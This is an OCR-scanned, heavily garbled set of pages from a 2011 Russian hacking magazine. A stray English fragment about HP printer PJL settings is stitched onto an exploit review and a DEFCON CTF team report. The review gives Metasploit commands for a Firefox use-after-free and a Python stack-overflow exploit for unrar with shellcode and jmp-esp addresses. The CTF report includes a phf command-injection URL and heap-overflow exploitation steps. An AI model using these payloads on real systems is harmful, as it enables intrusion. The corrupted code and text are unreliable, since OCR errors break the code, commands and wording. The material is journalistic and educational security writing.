Thefai(1N!ngexampledemoostratesS<'tting НР Lase-J et 4 [( and 4М printe-s to а kna.vn state. F а- the spEdfic pri nter yw аге ctnfi9Jring. cmsider which environment features yOJ сап moclify. The mOOifiableenvircnment features fa-HP Las<rJ et 4 and 4М printers arelisted Ьеlа,у (see

91

AppendixA f<ra llstderwiroomentvariaЬiessuppated~ a..­each PJ L printer):

COPIES FORMLINES

PAPER MANUALFEEO ----ORIENTAТION RET

PAGEPROTECТ PERSONALIТY * RESOLUTION TIMEOUT*

FONTSOURCE PТSIZE --FONTNUMBER SYMSET

РIТСН PRTPSERRS • PERSONALrfY and TIМEOUT do not alect the pМtod oulp.М and gener· altyahouldoo!Ьeused.

Ofthese НР Laserj et 4and4M f"'tures, a>lyRET, РАGЕРRОТЕСТ, and RESOLUTION affe:ttheprinted autput and cannoc Ье !И using the prlntw language (in this

В ма нуале по языку PJL 309 страниц-этотебе не WEP ломать!

ошибки и другие исключительные обстоятельства;

путаница в вопросе о том, какая часть программы отвечает за осво­

бождениеданных .

В этом случае память, о которой идет речь, спокойно выделяет-

ся другомууказателю в какой-то момент после того, как она была

освобождена. Первоначальный указатель на освобожденную память

используется снова и указывает на некий адрес в новой выделенной

области памяти . Изменение данны х приведет к искажению действи­

тельно используемой памяти, что может привести к непредсказуемому

поведению процесса.

Допустим, что получится так, что вновь выделяемые данные будут

удерживать класс, например в(++, при этом различные указатели

функций могут быть разбросаны по данным кучи . Если один из этих

указателей функций переза пишется адресом шеллкода, то может

быть достигнуто выполнение произвольнаго кода.

Выдержка из coпteпt/base/sгc/пsObjectloadiпgCoпteпt . cpp:

пsObjectLoadingContent : :OnChannelRedirect(

~Channel *aOldChann_el, ___ _

nsiChannel *aNe~w~C~h~a~пп~e~l~·L-------------------_ I"RUint32 aFlags) __________________ _

{ 11 If we're already busy with а new load, cancel the redirect if (aOldChannel != mChannel) {

return NS_BINDING_ABORTED;

__ if (mClassifier)_{ _____ ·--·--------··--····-····-·-·-----mClassifier ->OпRedirect(aOldChannel, aNewChannel);

mChanпel = aNewChannel; _ r eturn NS_QК; }_

Существует возможность вызова метода OпChaппeiRediгect, уста­

навливающего практически произвольный объект в качестве канала

для использования, когда злемент OBJECT !реализация интерфейса пsiChaппeiEveпtSiпk] не имеетназначенного mChaппel . Пробл ема в

том, что mChaппel является слабой ссылкой !как определено в сопtе пt/

ХАКЕР 10/153/2011

Обзор эксплоитов

Прыгаем на полезную нагрузку

base/src/пsObjectloadiпgCoпteпt.hl и в результате после цикла сборки

мусора превращается в висящий указатель .

Висящаяссылка можетбыть использованапутемустановки

атрибута data нашему элем енту ОВJЕСТ. Это приведет к вы зо ву метода

LoadObject и за грузке OBJECT'a.

nsObjectloading~ontent:: LoadObject(nsiURI* aURI, PRBool aNotif'y,, ________________________ _ const nsCString& aTygeHint,, ______________ _

PRBool aForceLoad)

if (mChannel) {

mCha nnel->Са n се l (N.S_BINDING _ABOFП.ED);

В модуле metasploit, реализующем данную уязвимость, применя ­

ется техника heap spгayiпg, которую мы сейчас вкратце оnишем для дальнейшего понимания дела. Технику heap spгaying можно nриме­

нить, когда программа, содержащая уязвимость, обращается по не­

существующемуучастку nамяти, находящемуся в адресном простран­

стве кучи. При этом адрес не должен быть выше Ox7fffffff, nоскольку

далееследуетадресноеnространствоядра,ккоторомуприложениеиз

гingЗ не имеет доступа.

Ключевым моментом для исnользования heap spгayiпg является возможностьуправлениякучей,иначеговоря,возможностьдобав­

лять данны е в кучу, выделяя под ни х память , до тех пор пока неисполь­

зуемый до этого момента адрес в памяти процессаненачнет существо­

вать. Добавлять данные в кучу мы будем блоками, причем каждый из

блоков будет иметь следующий вид: nор-цепочка+ shellcode. Данные

телодвижения совершаются потому, что операцио нная система сама

распределяетадресное пространстводля выделениядинамической

памяти, соответствен н о, даже имея на рукахточный адрес, по кото­

рому будет передаваться управление в результате исполнения уяз­

вимого кода, мы не сможем точно утверждать, на какую инструкцию

в памяти оно попадет. П отому-то и пор-цепочка нужн а. Техника heap spгaying в основном используется при эксплуатирова нии уязвимастей

Page 49: Хакер №10 (октябрь 2011)

ВЗЛОМ/ОБЗОРЭКСПЛОИТОВ

08055082 80 90 F4 EF FF FF 08055088 89 F2 08 055 08А 89 09 0805508С 80 74 26 00

Дизассемблерный листингуязвимого места для unгаг<= 3.93

lea lllOU

lllOU

lea

в браузерах, ибо при помощи JS- скри птов, выполняющихся на стороне

клиента, мы получаем возможностьуправления кучей , о которой было

упомянуто выше.

Практическая демонстрация уязвимости nри помощи модуля MSF очень проста: поднимаем сервер при помощи metasploit 'a, идем на клиент, вбиваем в Fiгefox адрес сплоита и видим результат работы экс­

плоита-эаnустившийся калькулятор:

msf# exploit(mozilla_mchannel) > set PAYLOAD windows/exec PAYLOAD => windows/exec __ msf# exploit(mozilla mchannel) > set CMD calc.exe CMD =>~qlc.exe~---· msf# exploit(mozilla_mcмnnel) > exploit [*] Exploit running as background job.

[*) Using URL: http://0.0.0.0:8080/cnGnliQгNQYE [~] Local IP: httg_:_//192.168.0.23:8080LcnGnlibrNQYE [~ ] Server started. ·- _____ _

jf.!;lдjfi Mozilla Fiгefox 3.6.1 6

'"i•l!liii•J:I Существуют обновления, устраняющи е данную уязвимость .

050

еЬх, [ ebp+src ] edx, esi Указатель на строк~ с оwибко

есх , еЬх

' Unrar 3.9.3 Local Stack Overflow Exploit

CVSSV2 12 11111 1111 11111111111

[]Im

111111 IAV: L/ АС: L/ Au : N/C: С/1: С/ A:CI

Дата релиза: 5 авгус та 2011 года, автор: ZadYгee, CVE: N/A. Unгаг- распространенная в среде * ni х-пользователей утилита ,

предназначенная для извлечения, тестирования и nросмотра содер­

жимого архивов, которые были созданы при помощи архиватора RAR. Уязвимость, которую обнаружил ZadYгee , кроется внеправильной

обработке аргументов, поступающих на вход утилите.

ljЗЦ!•Iii Я позволил себе немного подредактировать авторский вариант экс­

плоита и получил следующее :

i .mport sys _ from struct import *

buf = ' -' + 'Зlrvs' *817 + 'АдА ' + pack( 'I' , 0x8070197) shellcode = " \x!; c\xcc\xcc\xc~\J@a\xaa\xaa\xaa\xbb\xbb\xbb\xbb\_

xcc\xcc\~~!;'\~xdd\xdd \xcjd \xdd"

ХАКЕР 10 / 153/ 2011

Page 50: Хакер №10 (октябрь 2011)

В ДАЛЬНЕЙШЕМ МЫ СМОЖЕМ ПОНАБЛЮДАТЬ ВООЧИЮ, КАК

ИСПОЛНЯЕТСЯ КОД ПОЛЕЗНОЙ НАГРУЗКИ НА СТЕКЕ

f = opeп(' expl_optioп' , 'wb' )

f.write(puf + she,)Jcode ~~12' )

f.close() __

В дальн ейшем мы с тобой сможем п онаблюдать воочию, как ис­

п олня етс я код полез ной нагрузк и н а сте ке, н у а пока что необходимо

разобратьсястем,откудавзялсяадресОхВО70197вкодеэксплоита.

Перед нами классическое п ере пол н е ние буфера на стеке с вы­

текающей отсюда перезаписью адреса возврата. Так как указатель на

полезную наг рузку лежит в регистре esp, то нам необходимо прыг­

нуть на команду jmp esp !или дру гую по следовательность ко манд ,

имеющую схожее действие!, соотв етс твенно , для это го мы должны

переписать адрес возврата адресом команды jmp esp. Та к найдем же

подобн ы е адреса в исполняемом модул е uпгаг'а.

!~ - ~)_QQ_jdump -JLLusr/ ЬiпLuпrar J_gcrl) "ff е4" J_greJLjШJ1 __ _ 80бfebf : ff е4 'm11 *%espc__ ________ _

8070197: ff е4 jmp *%esp 8070317: ff е4 807038f: ff е4 8070527: ff е4

jmp *%esp jmp *%esp

jmp *%esp

В результате уяз вим ости управл е ние пол учает код, располагаю­

щийся на стеке :

(~ -~) gdb --args uпrar 'cat expl_optioп

(по debuggiпg symbols fouпd) (gdb) r

Startiпg_program: Lusc/ l:!iпL uпra~ЗlrvsЗlrvsЗlr~s .•• sЗlrvsA~

ERROR: Uпkпоwп optioп: 3lrvs3lrvs3lrvs .. . ЗlrvsAA ...

Program received sigпal SIGТRAP, Trace/ breakpoiпt trap . 0хЬfаЬб405 iп ?? () 1: xL.L$_p_s:_ 0xbfab_9_4_es_;__in.a . __ _ (gdb) х/20х $eip-1 0хЬfаЬб404 : 0хсссссссс 0хаааааааа 0хЬЬЬЬЬЬЬЬ 0хсссссссс

0хЬfаЬб414 : 0xdddddddd 0хЬfаЬб400 0х080б7f22 0х080бесб0

0хЬfаЬб424 : 0xbfabfdfa 0х08048Ь97 0хЫ483а8с 0х00000000

0хЬfаЬб434: 0х00000000 0хЬfаЬба98 0х080б80е7 0xbfaЫf98

0хЬ_{.аЬб444 : 0xbfabfdfa 0х08048с77 0хЫ48За8с 0х080484б0

(gdl:!)_-

Что и требовалось доказать . Н у а соде ржимое п ол ез но й нагрузки

остается полностью на твоей со вести .

it·1;11Jttt:t:t uпгаг<=3.93

,_i•J!Iiii•HI К сожал е нию, патчей, устраняющи х данную уязвимость , я н е нашел. Н о

всегда можно самостоятельно создать новый сегме нт в исполняемом

модуле uпгаг·а, добавить туда код п о проверке на вшивость входных ар­

гументов и проставить соответствующие прыжки в нужные места . :::1:::

ХАКЕР 10 / 153/2011

WEXLER.BOOK Е5001

«МПРО 2033» ДМИТРИЯ ГЛУХОВСКОГО И ЕЩr ДВА РОМАНА КУЛЬТОВОЙ СЕРИИ БЕСПЛАТНО В ЭТОЙ ЭЛЕКТРОННОЙ КНИГЕ WEXLER

СТИЛЬНЫЙ ГАДЖЕТ

• ф WI!XLI!Г. •

www.wexler.ru рвЩ.Щf'\1" ТЕЛЕФОН ГОРЯЧЕЙ ЛИНИИ : 8 {800) 200 96 60

Page 51: Хакер №10 (октябрь 2011)

взлом Роман <<zyx2145>> Василенко, laKasperskylab

Mapaт«touzokU >> Bыweropoдцeв, lаИнформзащита

ОТЧЕТ С ХАКЕРСКОГО КОНТЕСТА ИЗ ЛАС-ВЕГАСА

В Лас-Вегасе завершились две

крупные хакерекие конферен­

ции : BlackHat 2011 и DEFCON 19. Последняя интересна не только

сногсшибательными докладами,

но и з наменитыми соревнова­

ниями по компьютерной безопас­

ности « Captuгe The Flag» [CTF), в которых впервые приняла уча­

стие команда из России . Как это

было и что вообще представляют

собой такие хак-квесты, расска­

жут непосредственные участни­

ки событий .

052

Са йты команд:

• Hackerdom: www.hackerdom.ru: •Lee!More: leetrnore ctf.su; •SiBears: ~; • Smoked Chicken: smokedchicken.org.

ОХО1. ЧТО ТАКОЕ CTF? Captuгe the Flag-этo игра, в которой команды получают в рас поряжение наборуязвимых приложений-сервисов. Основная идея заключается в

том, чтобы ломать сервисы быстрее других кома нд, п исатьэксплоиты,

успевать патчиться, поддерживать все в рабочем состоянии и -на неко­

торых играх-еще и описыватьуязвимости в бюллетенях безопасности

за до полнительные очки . Эдакая кибервой н а в миниатюр е . Со ревнова­

ния проводятся, как п рав и ло, от нескольких часов до нескольких суток,

часто без перерывовна сон. Существует два ос н о вн ых т и п а CTF: «Своя игра» и классический ва риа нт. П е рвый чаще ис п ол ьзуется на отбороч­

н ых соревнова н иях, вто рой н а финал ьн ых, поскольку дл я классического

СТFтребуется более сложная инфраструктура.

В мире существуетнесколько подобных соревнова н ий, включая UCSB iCTF, NuitDuHack, plaidCTF, RuCTFE и др . DEFCON CTF п роводится с 1996 г. и является старейш им и, наверное, самым престижным из них . В первые

российская кома нда прошла в финал и занялатам почетное 4-е место . Мы

опередилитаких бизон ов, как командуУниверситета Калифорн ии Санта­

Барбары [устроителей iCTF), командуУниверситета Ка рнеги-Меллона,

корейцев из POSTECH- Pohaпg, с пециалистов иэ одной правительствен­

ной военной ком па нии США, а также японских, испа нских и американ ­

ских профессион алов в ИБ . Н о обо всем п о п о рядку.

ХАКЕР 10/153/2011

Page 52: Хакер №10 (октябрь 2011)

ОХО2. DEFCON CTF PREQUALS Отборочные игры Defcon СТF проходят в формате Jеорагdу-англ .

названиетелеnередачи «Своя игра >>. Участникам предоставляются

25-30 заданий разной сложности и стоимости в таких областях И Б, как геvегsе engineeгing, foгensics, Ьinагу exploitation, packet analysis

и т . д. При данном формате игры кома нда м н е нужно защищать свои

се рверы и применять патчи- необходимо просто решать задачи,

вытаскивать из них флаги и отправлять их в форму ответа. Обычно,

решая задачу первой, команда получает бонусные очки за « nервую

кровь».

Такой формат игры менее динамичен, но позволяет одновремен­

но играть несграниченнему числу команд. В это м году в отборочных

и гр ах зарегистрировалось более 700 команд, и сненулевым счетом закончило более 280. Интересно, что от России в этом году выступа­

ла сборная команда Team IV, возникшая в результате слияния четы­рех сильнейших команд по результатам прошлых соревнований:

Hackerdom-Уральскийфедеральный университет;

Leet Моге-Санкт- Петербургский государственный у ниверси­

тет информационных технологий, механики и оптики;

SiBears- Томский государственный университет; Smoked Chicken- Южно-Уральский государственный университет.

Объедини в усилия, мы план и ровали стать первой российской

командой в финале DEFCON CTF с претензией на победу. По иронии

судьбы, команда заняла 4-е место на отборочном эта п е и таким

образом попала в список тех 12 команд. которые по регламенту про­

ходят в финал. Для примера прив едем н есколько заданий .

GRAB100 Веб-сервер на SPDY

На порту 5932 за пущен не который сервис. По сле продолжи ­

тельных манипуляций выясняется, что это apache, работающий по протоколу SPDY !улучшенная реализация НТТР от Google]. Нахо­дим бажный с крипт в /cgi-Ьin/ и пробуем вытащить ключ после

изучения директорий http: / /pwn583.ddtek.Ьiz :5932/cgi-Ьin/ phf?Qalias=%8Acat%28/home/TkfбzKZd/key. Не срабатывает !филь­

труется слово keyl. Меняем запрос: http://pwn583.ddtek.Ьiz:5932/ cgi- Ьin/phf?Qalias=%8Acat%28/home/TkfбzKZd/k*. П случае м флаг:

that 's fast enough now go take а rest.

FORENSICS 200 Образ NTFS с необычным файловым атрибутом Выданный файл размером ровно 50 Мб представляет собой образ ди ска с NТFS'ным разделом. Ра ско п ки загрузчика в MBR ниче-

го не дали, хоть он и выглядел не совсем стандартным. Засунув

образ в X-Ways Foгensics, мы увидели, что в корне раздела лежат

100 каталогов вида dir**, в каждом из которых примерно по 220 файлов. Всего 21 978 файлов, каждый с уникальным содержимым, попадающим под регулярное выражение ([e-9a-f]\8{24}){48}. Натравив утилиту ntfswalk, обнаружили nодозрительный файл\ dirб8\key58883. Подозрителен он был тем, что его файловая запись

в $MFT содержала н естан дартный NТFS-атрибут с номером 11 Oh, тогда как в <<стандарт е>> NTFS описаны лишь атрибуты с номерами менее 100h.

Мы заглянули в этот 110h-й атрибут с помощью все того же

X-Ways Foгensics, расковыряли его lструктурно он был п охож на атрибуты известных типов], вычислили, в каких кластерах хранятся

его данные , и вытащили их. Вообще, естьдовольно распростра­

ненная практи ка прятать секретные данные в <<а льтернативных

потоках данных NTFS >> - атрибутах с номером 80h, отличающимся

именем потока. Для поиска и пр осмотра альтернативных потоков

данных есть масса готовых утилит, видимо, поэтому организато-

ры поступили хитрее и спрятали данные в самодельном NТFS­

атрибуте. Извлеченныебайтики имели точно такой же вид, как и

обычноесодержимоевсехостальныхфайловlмаскировалисьпод

них] . Выкинув нулевые байты, получили ответ: 47a96fac9edb9Se641 e83Se21ce888934d4c8f7e.

ХАКЕР 10/153/2011

DEFCON CTF

Форматпередачи «Своя и гран: разныеобласти ИБ и разная сложностьзаданий

PWTENT PWNABLES 500 Бинарникспереполнениемкучииутечкойпамяти

Реверс бинарника показывает, что при посыл ке команды upload_ new_record создается один экземпляр класса classel или class82 в

случайном порядке . Метод class_82: :сору _buffer уязвим к перепол­нению буфера , которое дает24 байта перезаписи в куче.

void Цass_82::copy_buffec.(class_82 • this, char • buffer) {

unsigned int i; for (i = е; i <= 248; + + i) this ->buffer[i] = buffer[i];

} ___ --------------------

Используя эту же уязвимость, мы можем подправить еще и перемен­

ные buffer _len и class_count, а затем вызвать команду dump_obj,

котораяскопируетстолькоданны~ сколькоустановленовзначение

buffer _len. Затем мы создаем несколько экземпляров класса, удаля­ем один, так что он образует дыру в куче, куда затем помещаются ма­

ленькие объекты вроде hash_str или rb_tree_item. Далее вызываем

view record, чтобы посм отреть, где в куче находится rb_tree_item. Используя rb_tree_item, узнаем адрес нашего экземпляра класса и буфера с нашим шеллкоде м . Переписываем vftaЫe, так чтобы она

указывала на наш шеллкод, и вызываем любую функцию, чтобы он

сработал. Получаем шелл.

BINARY LЗЗTNESS 500 Исполняемый РЕ-файл сантиотладкой

При первом просмотре файл оказывается неупакованным, но содер­

житвсеголишь три импорта:

CloseHandle; HeapAlloc;

memset.

Это означает, что все остальные функции он получает динамически

и, как не сложно обнаружить, делаетэто через РЕВ сра зу после ОЕР.

После этого программа создает несколько потоков с антиотладкой.

Некоторые используемые приемы антиотладки:

NtQueryinformationProcess with (push leh ; ProcessDebugObjectнandLe);

Rdtsc check;

053

Page 53: Хакер №10 (октябрь 2011)

взлом

CREDITS

Хотелось бы поблагодаритьтех ребят из команды IV !читается как рим­ская << четыре », хотя иностранцы завистливо называют нас <<ай ВИ>>I,

которыеучаствовали в отборочных, но по разным причинам не смогли

попасть на финал: кому-то не дали визу, кто-то не нашел спонсоров

оплатить поездку, кто-то ушел в горы . Команда благодариткомпании

НИП <<Информзащита » за посильный вклад в оплату поездки своих

сотрудников, СКБ <<Контур» за спонсорство екатеринбургской части

команды, университеты за знания и помощь.

NtSetinformationThread with (push llh ; ThreadНideFromDebugger) .

Обойти их непросто, но найти более подробную информацию ото м, как

это сделать, не составиттрудадля искушенного читателя. Затем nроцесс

выделяетпамять и копируеттуда код, содержащий основной п олезный

функционал,дальнейшееисполнениепроисходитввыделеннойпамяти.

Однако если просто исполнить программу до конца и снятьдамп, то

в нем мы найдемтолько набор известных философских цитат. Вся соль

с прятана в алгоритме их расшифровки. При расшифровке используется

ключ, который кладется на стек и удаляется из адресного простран ства

процесса. Именно поэтому, если снять дамп, вместо ключа мы получим

вoттaкoйнaбopбaйт:eseeszeeeseeszeeeseeszeeeseeszeeeseeszeeesees

2eeeseeszeeesees2ee. Если же проанализироватьалгоритм расшифров­ки подотладчиком-о чудо, вот и наш ключ: 2FEЗ90ЗDF19E4B01ACS90FBA67

1DC8752BD68339E49147F29F5502AD6310BB71.

051.

ОХОЗ. ФИНАЛ. КЛАССИЧЕСКИ И CTR Финальные игры проводятся в классическом формате, приближенном к

реальномухакингу. Каждая команда имеет набор сервисов, работающих

либо на отдельном сервере , либо на виртуальной машине, либо, как в этот

раз, внутриjаil. Основная задача-защищатьсвои сервисы и атаковать

чужие. Результатуспешной атаки -похи щенный флаг противника. За

перезапи сь флага пр отивника начисляются дополнительные очки. Свои

же флаги нужно хранить в неприкосновенности, но в доступностидля

проверяющего скрипта жюри. Финал соревнований проходит в очной

форме, все команды собираются в одном большом зале. Благо, в отеле

Rio, в котором проходила конференция, таки х помещений хватает : неэря

Лас-Ве га с славится самыми большими отелями в мире. По регламенту

DEFCON CTF, за одним столом должно сидеть не более восьми человек плюс одна овца. Овца? Да , организаторы соревнований не стесняются

своей страстной любви к sheepfuck iпg , но какое это имеетотношение к

информационной безопасности, никто не знает. Кстати, за фотографию

совокупленияснадув нойрезиновойовцойорганизаторыраздавали

эксклюзивныефутболки-стоит ли говорит ь, чтофутболки разашлись

в первыедесять минут и в нашей командетаких футболок две? Вне стола

ХАКЕР 10/153/201 1

Page 54: Хакер №10 (октябрь 2011)

ХАКЕР 10/153/2011

DEFCON СТF

Сервис: Castle

Порт: 7629

Функциональность: При соединении читает данные из сокета до

появлен ия << EOF\n >> . Считанные данные сохра няются во временном файле вида <</tmp/cast leXXXXXXXX>>, где ХХХХХХХХ- случайные

значения . После этого castle перенаправляет stdin, stdout и stderr в сокет и запускает другой исполняемый файл /usr/local/Ьin/sandy с параметрами <<-о < IPvб > -d -s /tmp/cast leXXXXXXXX>>, где IPvб-адрес, с которого произошло соединение.

Уязвимость: Непосредственно уязвимость находилась в sandy.

Ход решения: См. sandy.

Cepвиc:Bunny

Порт: 15323

Функциональность: При установке соединения сервис с помощью

srand(time(e)) генерирует псевдослучайное число [ma x_sizel от 5 до 34. После этого закрывает предыдущее соединение и генерирует еще одно псевдослучайное число [rand_portl, но уже в диапазоне от 1024 до 65 534, и использует его как nорт для ожидания нового соединения [Ьind+listenl . Если происходит соединение на данный порт, то считывает 1 байт и сохраняет в массиве длиною в 12 байт .

Повторяет операции max_size раз.

Уязвимость: Как можно заметить, max_size может быть до 34 байт, при этом массив haystack всего 12 байт - явное переполнение

буфера. Однако есть два подводных камня . Во-первых, для того

чтобы писать в буфер, нужно знать номер случайного порта ,

а он от 1024 до 65 534. На помощь при ходит то , что seed при инициализации генератора псевдорандомных чисел равен

time(e) , а системное время у всех команд одинаковое. Во-вторых,

переполнение очень маленькое, такое маленькое, что подходящих

зкс плоитов такого размера нет. Хитрость в том , что так как

max_size лежит на стеке, между геt-адресом и переполняемым массивом haystack, нужно переписать его, а так как он является счетчиком итераций, то после это го можно использовать столько

памяти для экс плоита , сколько потребуется.

Ход решения: <<Хорошая мысля приходит опосля>>- в данном случае

это именно наш кейс. П ереполнение нашли, свой сервис запатчили,

но эксплоит почему-то сразу не получилось написать, и появился он у

нас лишь под конец игры. Что ж, в следующий раз будем проворнее.

Сервис: Hiveг

Порт:44366

Функциональность: При соединении читает данны е из сокета :

первые 4 байта- длина па кета , далее сам пакет. Создает фильтр

Блума, в котором определено 1 О разных хеш -функций. После зто го

считывает флаг из файла key и использует его в качестве битового массива. Считанные из Сети данные использует для проверки того,

принадлежат ли они к битовому множеству или нет . На выходе при

каждом запуске получается набор из 1 О значащих бит. Пози ция каждого бита соответствует номеру хеш-функции в фильтре Блума ,

значение соответствует значению бита из флага , чья позиция

вычисляется на основе хеша .

Уязвимость: Сгенерировать такой набор входных параметров, чтобы программа отдала все значения битов из фла га, после чего собрать из

них флаг.

Ход решения: В час ночи, после первого дня соревнований, усталые

И расстроенные тем фактом, что на табло напротив нашей команды

до сих пор О очков, мы решили исправить ситуацию. Через пару часов

эксплоит был готов и, довольные, мы завалились спать.

055

Page 55: Хакер №10 (октябрь 2011)

взлом

КАКИЕ ЕЩЕ ЕСТЬ CTF?

The UCSB iCTF ictf.cs.ucsb.ed u Международные студенческие соревнования,

которые проводитуниверситет Калифорнии Санта­

Барбарывначале декабря. Известны, прежде

всего, тем, что с 2008 г. каждый год сносят крышу, придумываясовершенноновыеправилаигры,

которые больше нигде не встречаются.

CODEGATECTF www.codegate .afg Корейцы известны своей любовью к киберспорту.

Ежегодно в Корее проводится 3-4 CTF, связанные обычно с конференцией по ИБ . CODEGATE CTF, который проводится в начале мая, является одним

из лучших tаsk-Ьаsеd-соревновани й.

RUCТFE

www. гuctf . oгg

Команда Hackeгdom из УрГУ -первая российская

команда, которая начала играть в CTF и продви­гать CTF в России. С 2007 г. исправно организуют студенческие всероссийские соревнования RuCTF. С 2009 г. в декабре проводят международные со­ревнования, которые отличаются стабильностью,

масштабностью и интересными сервиса ми.

plaidCTF www.plaidctf.com Команда РРР из Карнеги-Меллон, появившаяся в

2009 г., сразу начала показывать высокие результа­ты почти на всех соревнованиях. Послетого как им

надоело всех обыгрывать, они решили провести

своисоревнования . Парниоправдалиожидания

и устроили в апреле соревнования с интерес­

нейшими заданиями и необычным геймбордом

lgameboaгdl в виде плана здания.

PHDCТF

phdays . гu/ctf geпeгal . asp Positive Hack DауsСТF-международные сорев­нования позащите информации, которые впервые

проводились в мае 2011 г. Запомнились прежде всего

отличной организацией, масштабностью, интерес­

ными сервисами и разнообразными заданиями.

ИДЕЯ ЗАКЛЮЧАЕТСЯ В ТОМ,

ЧТОБЫ ЛОМАТЬ СЕРВИСЫ

БЫСТРЕЕ ДРУГИХ КОМАНД,

ПИСАТЬ ЭКСПЛОИТЫ, УСПЕВАТЬ

ПАТЧИТЬСЯ И ПОДДЕРЖИВАТЬ

ВСЕ В РАБОЧЕМ СОСТОЯНИИ

056

количестволюдей не регламентируется , поэтомунекоторые читеры !не

будем показывать пальцем на команду из Японии! сидели и реверсили

наполурядомсостоломвсреднемколичестве20человек.Намвэтом

смысле не повезло, т. к. большей части команды не дали американские

визы послеупоминания словосочетания <<компьютерная безопасность >>

на собеседовании в консульстве. Удаленно поучаствовалоочень мало

игроков, в основном из-за разницы во времени.

CTF начался стого, что мы обнаружилитолько флешкус ключами доступа к своему серверу, два LАN-кабеля lдо сервера и до игровой

сети!, однуэлектрическую розеткууевсего стола. Пришлосьбратьтакси

илететь в магазин электроники неподалеку, чтобы потратить$300 на блекджек и распутна свичи и про вода, т. к. никто из организаторов не

предупреждал об их отсутствии. С задержкой в три часа игра началась, и

в кабелях появилсялинк. Чтоделать дальше, нужно былоузнать самим.

Запускаем снифер на кабеле к серверу, видим IСМРv6-трафик. Вспоми­

наем, как поднимать 1Рv6-интерфейсы, заодно узнаем, что все члены ко­

манды прогуляли Woгld 1Pv6 Day. Сюрпризом игры было то, что абсолютно все сервисы были написаны под 1Pv6. Пришлось экстренно переписывать вседомашниезаготовки подшестые со кеты.

Сервер представлял собой FгeeBSD 8.2, разделенный Jail. Напомним, чтоJаil-это механизм виртуализации уровня ОС в FгeeBSD, позволяю­

щий создать несколько независимых мини-ОС со своим набором прило­

жений и настройками. Таким образом, каждая команда работала в своем

Jail'e, а организаторы постоянно имели контроль надвсеми системами. Именно чepeзJail организаторы обновляли и проверяли файлы с флага­

ми. Данный механизм отличается от привычного нам, когда флаги про­

веряются и обновляются непосредственно через работающие на системе

сервисы,видим~разработчикипростополенилисьписатьсистемукак

следует. Мы не преминули воспользоваться этим недостатком: поскольку

сервисы были фактически не связаны с флагами, мы затуннелировали

весьтрафик и перенесли все приложения на отдельную виртуальную

машинутаким образом, что, даже получив доступ, соперники не могли

прочитать наши флаги, находящиеся на реальном сервере, а мы могли

снимать и анализировать трафик, приходящий к нам.

Игровые очки начислялись командам за похищение флага и/или

перезапись своим специальным флагом-маркером. После перезаписи

флагиавтоматическивосстанавливалисьвпрежни~сохраняявоз­

можностьдругим командам похитить их. Начисленные очки за флаги

умножались на процент доступности сервисов, предотвращая ситуа­

цию, когда команды просто выключили бы все сервисы и достигли

100%-нойзащиты.Доступностьсервисовпроверяласьчерезбэкдорв

приложениях- если бэкдор жив, значит, и приложение работает. До­

полнительныеочкиза«первуюкровь•давалиськомандам,которые

первыми сумели проэксплуатировать уязвимость в сервисе.

ХАКЕР 1 О /153/2011

Page 56: Хакер №10 (октябрь 2011)

ОХО4. ОРГАНИЗА ИЯ Примеры заданий мы привели во врезке, а более дета льное описание

взлома каждого из сервисов и прим е ры эксплоитов ты можешь

найти в благах нашей команды . Стоит отметить, что игра в зто т раз

была спроектирована из рук вон плохо. Обычно разработчики CTF

стараются свести на нет вероятность получения рута. Иначе, по­

лучив рут, команда сможет утянуть флаги от сервисов, которые не

были по-на стоя щему взломаны, а напоследок выполнить «rm -rf

/», досрочно заве ршая игру для со п ерника. Сервис tomato должен был понижать привилегии с гооt до юзера tomato, но такогоюзеране существовало- зато существовал tomatoг. Проэксплуатировав зто

приложениена сервереневнимательной команды, можно было полу­

чить гооt и стащить все флаги. Мы нашли однутакую команду, успели

ста щить все флаги, но закрепиться, к сожалению, не успели.

На второй день команда l оl lегskВtе гzумудрилась обойти ограни­

чения разработчиков и выйти из Jail'a , получив рут на хает-машине.

Ребята собрали все флаги со всех команд, но почему-то не озаботились

доступностью своих сервисов, позтому очков за работать не смогли до

того момента, как разработчики все запатчили .

На третий день игры ча сть наши х игроков, не занятых реверсом, ре­

шила просканить сетки других команд в поисках чего-нибудь вкусного

на пользовательских машинах. Забавно было найти открытый веб­

сервер команды PLUSfaPostech со всеми их наработками по эксплои­там, лагами работы зксплоитов с флагами и приватным ssh ключом от их сервера. На DEFCON с вашим компьютером может nроизойти что

угодно , важно не забывать об зто м.

ОХО5. WHAT HAPPENS IN VEGAS STAYS IN VEGAS После соревнований мы сняли пентхаус на 29-м этаже отеля Bellagio и устроили afteг рагtу с блекджеком и pttettyТ ша хматам и и по эз ией

Ш експи ра. Ла с Ве га с - зто город, в котором совсем не хо ч ет ся

заниматься информационной безопасностью, однако около 15 000 посетителей Black Hat и DEFCON ежегодно приезжаюттуда, чтобы

провести неделю в готовно сти к кибервойне . Впрочем , для того что­

бы поучаствовать в CTF, далеко ехать не надо: в Рос с ии также про­

водятся игры, с каждым годом набирающие в се больше и больше

участников- RuCTF, <<Сибъ Цтфъ >>, Leet Маге CTF, CITCTF и многие другие. Тем, кто хо чет попробовать свои силы в навыке боевого

ха кинга в ус ловия х ограничен н ого времени и с на , нужно скорее

собирать команду и регистрироваться на ближайших со ревновани­

ях! Студентам, подумывающим о работе в сфере информационной

безопасности, стоит иметь в виду, что многие ИБ-компании под ­

бирают сотрудников в штат прямо на подобны х контестах. А такую

возможность нельзя у п ускать . :Х:

ХАКЕР 10/153/2011

DEFCON CTF

Сервис: Foгgetu

Порт: 3128

Функциональность: При соединении в три этапа читает данные из сокета .

На каждом этапе по данным считается хеш-функция от полученных

данных, и если хеш удовлетворяет указанному, то программа переходит

на следующий этап. На первом этапе все просто: нужно не получить хеш,

равный 0хВ3300703 [он используется организаторами для активации бэкдора, проверяющего работоспособность сервиса ! . На втором эта пе нужно получить хеш exFC1BE02A, тогда программа идет дальше. При этом максимальное значение считываемых данных из сокета на эти х этапах

127 байт, что не превышает размер выделенного на стеке массива.

Уязвимость: Переполнение буфера находится на третьем эта пе, когда

после подсчета очередного хеша по входным данным программа

использует хеш в качестве значения максимального количества байт

при считывании следующей порции данных. Вот тут-то в стекавый буфер

[datal размером в 128 байт можно записать столько байт, сколько нужно для переполнения и эксплоита [последний вызов RacvDataFromSocketl .

Ход решения: К большому сожалению, купились на большой размер

файла и не стали разбирать его в самом начале, хотя переполнение

очень простое- сбрутить хеш и написать зксплоит.

Cepвиc:Sandy

Порт: -

Функциональность: Sandy представляет собой некий сильно упрощенный интерпретатор языка С.

